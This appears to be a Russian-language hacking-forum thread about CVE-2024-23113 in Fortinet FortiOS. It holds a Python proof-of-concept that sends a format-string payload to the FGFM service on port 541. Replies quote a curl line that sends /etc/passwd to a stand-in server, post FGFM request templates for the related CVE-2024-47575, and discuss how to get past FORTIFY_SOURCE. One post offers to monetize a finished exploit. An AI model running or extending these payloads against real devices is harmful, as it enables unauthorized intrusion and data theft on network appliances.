• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote [CVE-2024-23113] FortiOS, FortiPAM, FortiProxy и FortiWeb (POC)

rand

CooL-Lamer
Эксперт
Регистрация
24.05.2023
Сообщения
581
Реакции
1 152
Депозит
0.07 Ł и др.
GIT: https://github.com/zgimszhd61/CVE-2024-23113

Новость: https://www.securitylab.ru/news/552870.php

Переведенные комменты в POC:

Python:
import socket
import ssl
import struct

def check_vulnerability(hostname):
    """
    Проверяет, существует ли уязвимость для заданного хоста, устанавливая соединение и анализируя ответ сервера.
    Параметры:
        hostname (str): Имя хоста, который необходимо проверить.
    Возвращает:
        bool: True, если устройство, вероятно, уязвимо, False в противном случае.
    """
    context = create_ssl_context()
    with create_socket() as sock:
        if not connect_socket(sock, hostname, port=541):
            return False
        try:
            with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True) as ssock:
                return analyze_server_response(ssock)
        except ssl.SSLError as ssl_err:
            return handle_ssl_error(ssl_err, hostname)
        except socket.error as sock_err:
            print(f"[-] Ошибка сокета: {sock_err}")
            return False

def create_ssl_context():
    """Создает и возвращает SSL-контекст с необходимыми настройками."""
    context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    context.options |= ssl.OP_NO_COMPRESSION
    return context

def create_socket():
    """Создает и возвращает сокет с настроенным таймаутом."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    return sock

def connect_socket(sock, hostname, port):
    """
    Подключает заданный сокет к указанному хосту и порту.
    Параметры:
        sock (socket.socket): Сокет, который необходимо подключить.
        hostname (str): Имя хоста, к которому необходимо подключиться.
        port (int): Номер порта, к которому необходимо подключиться.
    Возвращает:
        bool: True, если подключение успешно, False в противном случае.
    """
    try:
        sock.connect((hostname, port))
        return True
    except socket.error as e:
        print(f"[-] Не удалось подключиться к {hostname}: {e}")
        return False

def analyze_server_response(ssock):
    """
    Анализирует первоначальные данные, полученные от сервера, и определяет, существует ли уязвимость.
    Параметры:
        ssock (ssl.SSLSocket): SSL-обернутый сокет.
    Возвращает:
        bool: True, если сервер, вероятно, уязвим, False в противном случае.
    """
    initial_data = ssock.recv(1024)
    if not initial_data:
        print("[-] Не получены начальные данные от сервера.")
        return False
    if len(initial_data) >= 8:
        pkt_flags, pkt_len = struct.unpack('ii', initial_data[:8])
        pkt_len -= 2
    else:
        print("[-] Полученные начальные данные слишком короткие.")
        return False
    payload = ssock.recv(pkt_len - 8)
    if len(payload) < pkt_len - 8:
        print("[-] Получен неполный полезный код.")
        return False
    return send_format_string_payload(ssock)

def send_format_string_payload(ssock):
    """Отправляет полезную нагрузку с форматированной строкой на сервер и анализирует ответ."""
    format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00"
    packet = create_packet(format_string_payload)
 
    ssock.send(packet)
    response = ssock.recv(1024)
    if response:
        print("[+] Устройство, возможно, не уязвимо - получен ответ.")
        return False
    else:
        print("[+] Ответ не получен - требуется дальнейший анализ.")
        return False

def create_packet(payload):
    """Создает пакет из заданной полезной нагрузки."""
    packet = b''
    packet += 0x0001e034.to_bytes(4, 'little')
    packet += (len(payload) + 8).to_bytes(4, 'big')
    packet += payload
    return packet

def handle_ssl_error(ssl_err, hostname):
    """Обрабатывает ошибку SSL, чтобы определить, может ли сервер быть уязвимым."""
    if "tlsv1 alert" in str(ssl_err).lower() or "unexpected message" in str(ssl_err).lower():
        print(f"[+] Устройство {hostname}, вероятно, уязвимо. Соединение было прервано, как ожидалось.")
        return True
    else:
        print(f"[-] Неожиданная ошибка SSL: {ssl_err}")
        return False

def main():
    while True:
        hostname = input("Введите имя хоста для проверки (или 'exit' для выхода): ")
        if hostname.lower() == 'exit':
            break
        is_vulnerable = check_vulnerability(hostname)
        if is_vulnerable:
            print(f"[!] Внимание: {hostname} уязвим!")
        else:
            print(f"[+] {hostname} не уязвим.")

if __name__ == "__main__":
    main()

Перевод Readme c гита:

CVE-2024-23113​


Этот сценарий предназначен для обнаружения уязвимости CVE-2024-23113, которая представляет собой уязвимость форматной строки в службе FGFM (протокол связи между FortiGate и FortiManager) FortiGate, работающей на TCP-порту 541. Уязвимость возникает из-за того, что атакующий может контролировать форматную строку, что может привести к удаленному выполнению кода (RCE) или другому непредвиденному поведению. Служба FGFM используется для связи по управлению конфигурацией между устройствами FortiGate и FortiManager, и неисправленные версии имеют ненадлежащую обработку входных данных, что делает их уязвимыми к атакам с использованием уязвимостей форматной строки.

Как работает скрипт​

  1. Настройка сетевого соединения:
    • Сценарий сначала устанавливает SSL/TLS-соединение с целевым устройством на порту 541.
    • Он использует объект ssl.SSLContext и отключает проверку сертификата, чтобы иметь возможность подключаться к устройствам, которые могут использовать самоподписанные сертификаты.
  2. Создание полезной нагрузки:
    • После установки соединения сценарий создает вредоносную полезную нагрузку, используя уязвимость форматной строки, например, authip=%n.
    • Директива %n сообщает системе записать количество байтов, выведенных на данный момент, в переменную, что может привести к повреждению памяти.
    • Эта вредоносная полезная нагрузка отправляется на целевое устройство через установленное соединение.
  3. Логика обнаружения:
    • Затем сценарий проверяет поведение целевого устройства после получения вредоносной полезной нагрузки.
    • Если соединение внезапно разрывается и возникает предупреждение SSL, это указывает на то, что цель уязвима, поскольку была вызвана защитная механика (например, _FORTIFY_SOURCE в glibc) от уязвимости форматной строки.
    • Если соединение остается открытым, это может означать, что целевое устройство, возможно, было исправлено.

Инструкции по использованию:​

  1. Запустите скрипт, используя Python 3, выполнив следующую команду:
    Bash:
    python POC-CVE-2024-23113.py
  2. Система запросит ввод имени хоста или IP-адреса устройства, которое необходимо проверить на наличие уязвимости. Или введите "exit" для выхода.
  3. Если целевое устройство уязвимо, скрипт выведет: Внимание: <hostname> уязвим!
  4. Если целевое устройство, похоже, исправлено, скрипт выведет: [+] <hostname> выглядит исправленным.
Системные требования:
  • Для запуска скрипта требуется Python 3.9+.
  • Должен быть доступ к целевому устройству через сеть, и порт 541 должен быть открыт.
  • На целевом устройстве должна работать служба FGFM.

P.S. В теории это можно адаптировать под это: CVE-2024-47575 (Хотя я могу ошибаться).
 
Последнее редактирование:
После установки соединения сценарий создает вредоносную полезную нагрузку, используя уязвимость форматной строки, например, authip=%n.
Директива %n сообщает системе записать количество байтов, выведенных на данный момент, в переменную, что может привести к повреждению памяти.

Это heap overflow/stack overflow вулн?
 
Спасибо за пост! Код выглядит чисто.

Для тех, кто интересуется, это уязвимость форматной строки, так что можно превратить скрипт в RCE, добавив что-то вроде:

Python:
format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%s\r\n\r\n; curl -X POST -d \"$(cat /etc/passwd | base64)\" http://yourserver.com\r\n\x00"
 
Спасибо за пост! Код выглядит чисто.

Для тех, кто интересуется, это уязвимость форматной строки, так что можно превратить скрипт в RCE, добавив что-то вроде:

Python:
format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%s\r\n\r\n; curl -X POST -d \"$(cat /etc/passwd | base64)\" http://yourserver.com\r\n\x00"
thanks for your advise but as I tested that's not works.
I simply modify that with a simple ping command but I didn't success to achieve rce with this method.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Спасибо за пост! Код выглядит чисто.

Для тех, кто интересуется, это уязвимость форматной строки, так что можно превратить скрипт в RCE, добавив что-то вроде:

Python:
format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%s\r\n\r\n; curl -X POST -d \"$(cat /etc/passwd | base64)\" http://yourserver.com\r\n\x00"
вроде как нужно тестить.Поставить на свою виртуалку уязвимую версию форти и запустить на неё эксп, будет видно где и что ломается, я не силён в экспах но тут нужно смотреть в каком разделе памяти происходит ошибка.
Времена экспов где просто в запрос пишешь команду прошла) (ну точнее их мало)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%s\r\n\r\n; curl -X POST -d \"$(cat /etc/passwd | base64)\" http://yourserver.com\r\n\x00"

ахахахаха )))))))))
 
Спасибо за пост! Код выглядит чисто.

Для тех, кто интересуется, это уязвимость форматной строки, так что можно превратить скрипт в RCE, добавив что-то вроде:

Python:
format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%s\r\n\r\n; curl -X POST -d \"$(cat /etc/passwd | base64)\" http://yourserver.com\r\n\x00"
Короче просто ебашишь туда команду и типа процент эс как в строку формат и автоматом оно выполняется, вот это круто! А я то думал зачем в оригинальном анализе какие-то %n пихают чтоб попытаться на стеке чето перезаписать, а оказывается просто пишешь такую шнягу и всё в говне шоколаде

Вот кстати нормальный анализ написанный по человечески этой вулны https://labs.watchtowr.com/fortinet...rability-in-a-super-secure-appliance-in-2024/

То что в описании к вулне указано "уязвимость форматной строки" создаёт ложное впечатление что можно влепить туда просто команду - на самом деле это не так и более того нужный для эксплуатации специфиактор формата %n который позволяет через снпринтф писать в произвольные адреса из форматной строки заблочен вот этой шнягой:

A little reading of the glibc source reveals that this is an exploitation mitigation, enabled by _FORTIFY_SOURCE, intended to hinder clean exploitation of exactly this vulnerability class. If a %n is detected to a writable segment, the handler will send a SIGABRT and abort the current task, instead of proceeding.

Этой штукой можно читать из произвольного адреса зато нафигачив в authip= вот как раз %s - со стека будут браться поинтеры и из них будет попытка чтения до нульбайта ( или до 0x7F ) другое дело что я вот не знаю - в ответ ли это значение удалённо можно получить или нет.

snprintf(a1->prop_204, 0x7F, v3->value);
( где a1->prop это то куда прочитается дата из поинтеров со стека и v3->value собственно строка которая идёт после authip= ( до \r\n ))
В стать не написано можно ли забрать вот это значение a1->prop_204 как-то в ответ с сервака.
format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%s\r\n\r\n; curl -X POST -d \"$(cat /etc/passwd | base64)\" http://yourserver.com\r\n\x00"

ахахахаха )))))))))
Может поделишься в каком направлении копать раз ты уже сделал?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Может поделишься в каком направлении копать раз ты уже сделал?
Вы правильно упомняли FORTIFY_SOURCE на эту тему https://maskray.me/blog/2022-11-06-fortify-source
Бери прошивку, и обходи FORTIFY_SOURCE.
Заморачивайтесь, у меня времени нет столько.
 
They claim to have bypassed something. I don't know though, there was confusion about another poc they dropped


 
They claim to have bypassed something. I don't know though, there was confusion about another poc they dropped



кто нибудь тестил скрипт ?

Код:
Traceback (most recent call last):
  File "CVE-2024-47575.py", line 163, in <module>
    ssl_sock = create_ssl_sock()
  File "CVE-2024-47575.py", line 154, in create_ssl_sock
    ssl_sock = context.wrap_socket(s)
  File "/usr/lib/python3.7/ssl.py", line 412, in wrap_socket
    session=session
  File "/usr/lib/python3.7/ssl.py", line 886, in _create
    self.do_handshake()
  File "/usr/lib/python3.7/ssl.py", line 1150, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: UNEXPECTED_MESSAGE] unexpected message (_ssl.c:1056)

порт открыт, проверил на многих таргетах
 
Пожалуйста, обратите внимание, что пользователь заблокирован
кто нибудь тестил скрипт ?

Код:
Traceback (most recent call last):
  File "CVE-2024-47575.py", line 163, in <module>
    ssl_sock = create_ssl_sock()
  File "CVE-2024-47575.py", line 154, in create_ssl_sock
    ssl_sock = context.wrap_socket(s)
  File "/usr/lib/python3.7/ssl.py", line 412, in wrap_socket
    session=session
  File "/usr/lib/python3.7/ssl.py", line 886, in _create
    self.do_handshake()
  File "/usr/lib/python3.7/ssl.py", line 1150, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: UNEXPECTED_MESSAGE] unexpected message (_ssl.c:1056)

порт открыт, проверил на многих таргетах
нужен сертификат и вроде как ещё сериал намбер, а иначе просто не будет успешного коннекта
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот тут менять нужно если я правильно понял, я почитал и серты у них как-бы подходят для всех версий, а вот то что я скинул ниже и уходит на таргет при запросе сокета, крч готовый эксп никто просто так не выставил

Python:
request_getip = b"""get ip
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-VM64
fos_ver=700
minor=2
patch=2
build=1255
branch=1255
maxvdom=2
fg_ip=192.168.1.53
hostname=FGVMEVWG8YMT3R63
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30235
mgmt_mode=normal
enc_flags=0
first_fmgid=
probe_mode=yes
vdom=root
intf=port1
\0""".replace(b"\n",b"\r\n")



request_auth=b"""get auth
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.1.53
hostname=FortiGate
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.1.53
mgmtport=443
\0""".replace(b"\n",b"\r\n")
 
Кто сделает, обращайтесь. Качественную монетизацию гарантируем ;) Но вот доведет ли кто до ума вопрос риторический..
 
Вот тут менять нужно если я правильно понял, я почитал и серты у них как-бы подходят для всех версий, а вот то что я скинул ниже и уходит на таргет при запросе сокета, крч готовый эксп никто просто так не выставил

Python:
request_getip = b"""get ip
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-VM64
fos_ver=700
minor=2
patch=2
build=1255
branch=1255
maxvdom=2
fg_ip=192.168.1.53
hostname=FGVMEVWG8YMT3R63
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30235
mgmt_mode=normal
enc_flags=0
first_fmgid=
probe_mode=yes
vdom=root
intf=port1
\0""".replace(b"\n",b"\r\n")



request_auth=b"""get auth
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.1.53
hostname=FortiGate
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.1.53
mgmtport=443
\0""".replace(b"\n",b"\r\n")
разве это не CVE 47575? Я ищу 23113, если вы получили код (а не только проверку)
 
GIT: https://github.com/zgimszhd61/CVE-2024-23113

Новость: https://www.securitylab.ru/news/552870.php

Переведенные комменты в POC:

Python:
import socket
import ssl
import struct

def check_vulnerability(hostname):
    """
    Проверяет, существует ли уязвимость для заданного хоста, устанавливая соединение и анализируя ответ сервера.
    Параметры:
        hostname (str): Имя хоста, который необходимо проверить.
    Возвращает:
        bool: True, если устройство, вероятно, уязвимо, False в противном случае.
    """
    context = create_ssl_context()
    with create_socket() as sock:
        if not connect_socket(sock, hostname, port=541):
            return False
        try:
            with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True) as ssock:
                return analyze_server_response(ssock)
        except ssl.SSLError as ssl_err:
            return handle_ssl_error(ssl_err, hostname)
        except socket.error as sock_err:
            print(f"[-] Ошибка сокета: {sock_err}")
            return False

def create_ssl_context():
    """Создает и возвращает SSL-контекст с необходимыми настройками."""
    context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    context.options |= ssl.OP_NO_COMPRESSION
    return context

def create_socket():
    """Создает и возвращает сокет с настроенным таймаутом."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    return sock

def connect_socket(sock, hostname, port):
    """
    Подключает заданный сокет к указанному хосту и порту.
    Параметры:
        sock (socket.socket): Сокет, который необходимо подключить.
        hostname (str): Имя хоста, к которому необходимо подключиться.
        port (int): Номер порта, к которому необходимо подключиться.
    Возвращает:
        bool: True, если подключение успешно, False в противном случае.
    """
    try:
        sock.connect((hostname, port))
        return True
    except socket.error as e:
        print(f"[-] Не удалось подключиться к {hostname}: {e}")
        return False

def analyze_server_response(ssock):
    """
    Анализирует первоначальные данные, полученные от сервера, и определяет, существует ли уязвимость.
    Параметры:
        ssock (ssl.SSLSocket): SSL-обернутый сокет.
    Возвращает:
        bool: True, если сервер, вероятно, уязвим, False в противном случае.
    """
    initial_data = ssock.recv(1024)
    if not initial_data:
        print("[-] Не получены начальные данные от сервера.")
        return False
    if len(initial_data) >= 8:
        pkt_flags, pkt_len = struct.unpack('ii', initial_data[:8])
        pkt_len -= 2
    else:
        print("[-] Полученные начальные данные слишком короткие.")
        return False
    payload = ssock.recv(pkt_len - 8)
    if len(payload) < pkt_len - 8:
        print("[-] Получен неполный полезный код.")
        return False
    return send_format_string_payload(ssock)

def send_format_string_payload(ssock):
    """Отправляет полезную нагрузку с форматированной строкой на сервер и анализирует ответ."""
    format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00"
    packet = create_packet(format_string_payload)
 
    ssock.send(packet)
    response = ssock.recv(1024)
    if response:
        print("[+] Устройство, возможно, не уязвимо - получен ответ.")
        return False
    else:
        print("[+] Ответ не получен - требуется дальнейший анализ.")
        return False

def create_packet(payload):
    """Создает пакет из заданной полезной нагрузки."""
    packet = b''
    packet += 0x0001e034.to_bytes(4, 'little')
    packet += (len(payload) + 8).to_bytes(4, 'big')
    packet += payload
    return packet

def handle_ssl_error(ssl_err, hostname):
    """Обрабатывает ошибку SSL, чтобы определить, может ли сервер быть уязвимым."""
    if "tlsv1 alert" in str(ssl_err).lower() or "unexpected message" in str(ssl_err).lower():
        print(f"[+] Устройство {hostname}, вероятно, уязвимо. Соединение было прервано, как ожидалось.")
        return True
    else:
        print(f"[-] Неожиданная ошибка SSL: {ssl_err}")
        return False

def main():
    while True:
        hostname = input("Введите имя хоста для проверки (или 'exit' для выхода): ")
        if hostname.lower() == 'exit':
            break
        is_vulnerable = check_vulnerability(hostname)
        if is_vulnerable:
            print(f"[!] Внимание: {hostname} уязвим!")
        else:
            print(f"[+] {hostname} не уязвим.")

if __name__ == "__main__":
    main()

Перевод Readme c гита:

CVE-2024-23113​


Этот сценарий предназначен для обнаружения уязвимости CVE-2024-23113, которая представляет собой уязвимость форматной строки в службе FGFM (протокол связи между FortiGate и FortiManager) FortiGate, работающей на TCP-порту 541. Уязвимость возникает из-за того, что атакующий может контролировать форматную строку, что может привести к удаленному выполнению кода (RCE) или другому непредвиденному поведению. Служба FGFM используется для связи по управлению конфигурацией между устройствами FortiGate и FortiManager, и неисправленные версии имеют ненадлежащую обработку входных данных, что делает их уязвимыми к атакам с использованием уязвимостей форматной строки.

Как работает скрипт​

  1. Настройка сетевого соединения:
    • Сценарий сначала устанавливает SSL/TLS-соединение с целевым устройством на порту 541.
    • Он использует объект ssl.SSLContext и отключает проверку сертификата, чтобы иметь возможность подключаться к устройствам, которые могут использовать самоподписанные сертификаты.
  2. Создание полезной нагрузки:
    • После установки соединения сценарий создает вредоносную полезную нагрузку, используя уязвимость форматной строки, например, authip=%n.
    • Директива %n сообщает системе записать количество байтов, выведенных на данный момент, в переменную, что может привести к повреждению памяти.
    • Эта вредоносная полезная нагрузка отправляется на целевое устройство через установленное соединение.
  3. Логика обнаружения:
    • Затем сценарий проверяет поведение целевого устройства после получения вредоносной полезной нагрузки.
    • Если соединение внезапно разрывается и возникает предупреждение SSL, это указывает на то, что цель уязвима, поскольку была вызвана защитная механика (например, _FORTIFY_SOURCE в glibc) от уязвимости форматной строки.
    • Если соединение остается открытым, это может означать, что целевое устройство, возможно, было исправлено.

Инструкции по использованию:​

  1. Запустите скрипт, используя Python 3, выполнив следующую команду:
    Bash:
    python POC-CVE-2024-23113.py
  2. Система запросит ввод имени хоста или IP-адреса устройства, которое необходимо проверить на наличие уязвимости. Или введите "exit" для выхода.
  3. Если целевое устройство уязвимо, скрипт выведет: Внимание: <hostname> уязвим!
  4. Если целевое устройство, похоже, исправлено, скрипт выведет: [+] <hostname> выглядит исправленным.
Системные требования:
  • Для запуска скрипта требуется Python 3.9+.
  • Должен быть доступ к целевому устройству через сеть, и порт 541 должен быть открыт.
  • На целевом устройстве должна работать служба FGFM.

P.S. В теории это можно адаптировать под это: CVE-2024-47575 (Хотя я могу ошибаться).
thanks for sharing man, it's great to work on critical exploits
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх